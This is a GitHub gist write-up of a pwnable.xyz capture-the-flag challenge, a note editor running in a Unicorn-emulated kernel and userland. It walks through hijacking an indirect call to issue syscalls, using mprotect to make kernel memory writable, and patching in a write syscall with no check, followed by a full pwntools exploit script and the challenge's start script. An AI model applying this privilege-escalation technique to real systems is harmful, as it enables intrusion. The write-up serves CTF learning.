Skip to content

Instantly share code, notes, and snippets.

@marcorentap
Last active February 15, 2023 04:31
Show Gist options
  • Save marcorentap/a57d844daca53f13018a8b6809395f7c to your computer and use it in GitHub Desktop.
Save marcorentap/a57d844daca53f13018a8b6809395f7c to your computer and use it in GitHub Desktop.

Overview

The program is a note editor running inside a x86 64-bit unicorn engine instance.

image

The start script is provided (see start.py)

Goal

Print the flag flag2.tzt, located in 0xFFFFFFFF81000000 + 0x5000

KERNEL_ADDRESS = 0xFFFFFFFF81000000
...
def start_userland():
    ...
    mu.mem_write(KERNEL_ADDRESS + 0x5000, flag2)

Observation

The start script adds a few hooks in start_kernel:

# Handle kernel code
mu.hook_add(UC_HOOK_CODE, handle_kernel, None, KERNEL_ADDRESS, KERNEL_ADDRESS+MAPPING_SIZE)
# Handle IN instruction
mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None, 1, 0, UC_X86_INS_IN)
# Handle OUT instruction
mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None, 1, 0, UC_X86_INS_OUT)
# Handle interrupts
mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt)
# Handle invalid memory access
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_kernel_invalid)

The handle_kernel_interrupt callback checks the interrupt number and rax. If rax == 0, mem_protect is called. It can be used to change permission to read the flag.

def handle_kernel_interrupt(uc, intno, data):
    if intno == 0x70:
        rax = uc.reg_read(UC_X86_REG_RAX)
        if rax == 0:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            # mem_protect(addr, size, perms)
            uc.mem_protect(rdi, rsi, rdx)
        elif rax == 7:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            # mem_read(addr, size)
            buf = str(eval(str(uc.mem_read(rdi, rdx))))
            uc.mem_write(rsi, buf)
            uc.reg_write(UC_X86_REG_RAX, len(buf))

The custom kernel defines 3 system calls: read(0), write(1) and mprotect(10).

image

Since there is a mov eax, 0; int 0x70; iretd in mprotect, uc.mem_protect will be called in handle_kernel_interrupt

In userland, show_note has an indirect call using rax, and the note content is used for rdi, rsi, rdx, rcx and rdx (in order)

image

this can be used to do syscalls by putting the address of __syscall in rax. Note that the registers are swapped in __syscall:

image

There is a check in read_line that prevents us from inputting the mprotect syscall number 10. But we can use this same vulnerability to use do_read to write it instead.

image

There is a check in the custom kernel's write syscall that prevents us from printing the flag.

image

Once mprotect is called to enable writing to the kernel space, we can write a custom syscall based on this but without the check, which is simply:

mov rcx, rdx
mov rax, rcx
mov dx, 0x3f8
rep outsb
iret

Exploit

  1. Call do_read with address of notes[0] as *buf and 0x28 as count.
  2. Inside do_read's input, write notes[0] to do mprotect syscall to permit writing kernel code.
  3. Use the read syscall to write custom write syscall without the check inside kernel space.
  4. Call the custom write syscall to print the flag

Code

Is in expoit.py

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = remote("svc.pwnable.xyz", 30048)
custom_write = '''
mov %rcx, %rdx
mov %rax, %rcx
mov %dx, 0x3f8
rep outsb
iretq
'''
kernel_addr = 0xffffffff81000000
custom_syscall_addr = 0xffffffff8100013e
notes_addr = 0x4100380
read_addr = 0x400000f
syscall_addr = 0x4000338
def do_edit(index, content):
p.sendlineafter("3. Exit\n", str(1).encode())
p.sendlineafter("Note id: ", str(index).encode())
p.sendlineafter("Contents: ", content)
def do_show(index):
p.sendlineafter("3. Exit\n", str(2).encode())
p.sendlineafter("Note id: ", str(index).encode())
for idx in range(0, 9):
do_edit(idx, "D")
# Setup and call do_read() to write to notes[0]
payload = b"D"*0x8
payload += p64(notes_addr)
payload += p64(0x28)
payload += p64(0xff) * 2
payload += p64(read_addr)
do_edit(9, payload)
do_show(0)
# Setup notes[0] to contain mprotect syscall and call
payload = p64(10)
payload += p64(kernel_addr)
payload += p64(0x1000)
payload += p64(7)
payload += p64(syscall_addr)
p.send(payload)
do_show(0)
# Use syscall read to start writing to kernel space
custom_write = asm(custom_write)
payload = b"D" * 0x8
payload += p64(0)
payload += p64(0)
payload += p64(custom_syscall_addr)
payload += p64(len(custom_write))
payload += p64(syscall_addr)
do_edit(9, payload)
do_show(0)
# Create syscall 11 with custom write to allow reading the flag
p.send(custom_write)
# Setup and call the custom syscall to read the flag
payload = b"A" * 0x8
payload += p64(11)
payload += p64(1)
payload += p64(kernel_addr+0x5000)
payload += p64(0x40)
payload += p64(syscall_addr)
do_edit(9, payload)
do_show(0)
p.interactive()
#!/usr/bin/env python2
import sys
import os
from unicorn import *
from unicorn.x86_const import *
from threading import Thread
from queue import Queue
from elftools.elf.elffile import ELFFile
kernel_queue = Queue(1)
user_queue = Queue(1)
KERNEL_ADDRESS = 0xFFFFFFFF81000000
KERNEL_STACK = 0xFFFF8801FFFFF000
KERNEL_SYSCALL_HANDLER = KERNEL_ADDRESS + 7
KERNEL_SEGFAULT_HANDLER = KERNEL_ADDRESS + 14
USER_ADDRESS = 0x4000000
USER_STACK = 0x7ffffffff000
MAPPING_SIZE = 0x100000
USER_TEXT_MEM = "\x00" * MAPPING_SIZE
USER_DATA_MEM = "\x00" * MAPPING_SIZE
USER_STACK_MEM = "\x00" * MAPPING_SIZE
def get_syscall_regs(uc):
return {
"rax": uc.reg_read(UC_X86_REG_RAX),
"rdi": uc.reg_read(UC_X86_REG_RDI),
"rsi": uc.reg_read(UC_X86_REG_RSI),
"rdx": uc.reg_read(UC_X86_REG_RDX),
"r10": uc.reg_read(UC_X86_REG_R10),
"r8" : uc.reg_read(UC_X86_REG_R8),
"r9" : uc.reg_read(UC_X86_REG_R9)
}
def set_syscall_regs(uc, regs):
uc.reg_write(UC_X86_REG_RAX, regs["rax"])
uc.reg_write(UC_X86_REG_RDI, regs["rdi"])
uc.reg_write(UC_X86_REG_RSI, regs["rsi"])
uc.reg_write(UC_X86_REG_RDX, regs["rdx"])
uc.reg_write(UC_X86_REG_R10, regs["r10"])
uc.reg_write(UC_X86_REG_R8, regs["r8"])
uc.reg_write(UC_X86_REG_R9, regs["r9"])
def handle_syscall(uc, user_data):
kernel_queue.put(get_syscall_regs(uc))
set_syscall_regs(uc, user_queue.get())
def handle_userland_invalid(uc, access, address, size, value, user_data):
kernel_queue.put("SEGV")
return False
def handle_kernel(uc, address, size, user_data):
inst = uc.mem_read(address, size)
if inst == "\xcf":
user_queue.put(get_syscall_regs(uc))
if inst == "\xcf" or inst == "\xF3\x90":
msg = kernel_queue.get()
if msg == "SEGV":
uc.reg_write(UC_X86_REG_RIP, KERNEL_SEGFAULT_HANDLER)
else:
set_syscall_regs(uc, msg)
uc.reg_write(UC_X86_REG_RIP, KERNEL_SYSCALL_HANDLER)
def handle_kernel_interrupt(uc, intno, data):
if intno == 0x70:
rax = uc.reg_read(UC_X86_REG_RAX)
if rax == 0:
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
uc.mem_protect(rdi, rsi, rdx)
elif rax == 7:
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
buf = str(eval(str(uc.mem_read(rdi, rdx))))
uc.mem_write(rsi, buf)
uc.reg_write(UC_X86_REG_RAX, len(buf))
def handle_kernel_in(uc, port, size, user_data):
if port == 0x3f8 and size == 1:
c = sys.stdin.read(1)
if not c:
os._exit(-1)
return ord(c)
def handle_kernel_out(uc, port, size, value, user_data):
if port == 0x3f8 and size == 1:
sys.stdout.write(chr(value))
sys.stdout.flush()
def handle_kernel_invalid(uc, access, address, size, value, user_data):
log.info("handle_kernel_invalid: 0x{:x}".format(address))
uc.reg_write(UC_X86_REG_RIP, KERNEL_SEGFAULT_HANDLER)
return True
def read(file):
with open(file, 'rb') as f:
return f.read()
def start_userland():
with open("./userland", 'rb') as f:
userland = ELFFile(f).get_segment(0).data()
flag1 = read("./flag1.txt")
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC, USER_TEXT_MEM)
mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)
mu.mem_write(USER_ADDRESS, userland)
mu.hook_add(UC_HOOK_INSN, handle_syscall, None, 1, 0, UC_X86_INS_SYSCALL)
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_userland_invalid)
mu.reg_write(UC_X86_REG_RSP, USER_STACK-0x1000)
mu.reg_write(UC_X86_REG_RIP, USER_ADDRESS)
mu.mem_write(USER_ADDRESS + MAPPING_SIZE, flag1)
mu.emu_start(USER_ADDRESS, USER_ADDRESS + len(userland))
regs = get_syscall_regs(mu)
regs["rax"] = 60
kernel_queue.put(regs)
def start_kernel():
kernel = read("./kernel")
flag2 = read("./flag2.txt")
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ, USER_TEXT_MEM)
mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)
mu.mem_map(KERNEL_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC)
mu.mem_map(KERNEL_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE)
mu.mem_write(KERNEL_ADDRESS, kernel)
mu.hook_add(UC_HOOK_CODE, handle_kernel, None, KERNEL_ADDRESS, KERNEL_ADDRESS+MAPPING_SIZE)
mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None, 1, 0, UC_X86_INS_IN)
mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None, 1, 0, UC_X86_INS_OUT)
mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt)
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_kernel_invalid)
mu.reg_write(UC_X86_REG_RSP, KERNEL_STACK-0x1000)
mu.reg_write(UC_X86_REG_RIP, KERNEL_ADDRESS)
mu.mem_write(KERNEL_ADDRESS + 0x5000, flag2)
mu.emu_start(KERNEL_ADDRESS, KERNEL_ADDRESS + len(kernel))
if __name__ == '__main__':
kernel = Thread(target=start_kernel)
userland = Thread(target=start_userland)
kernel.start()
userland.start()
kernel.join()
userland.join(1)
os._exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment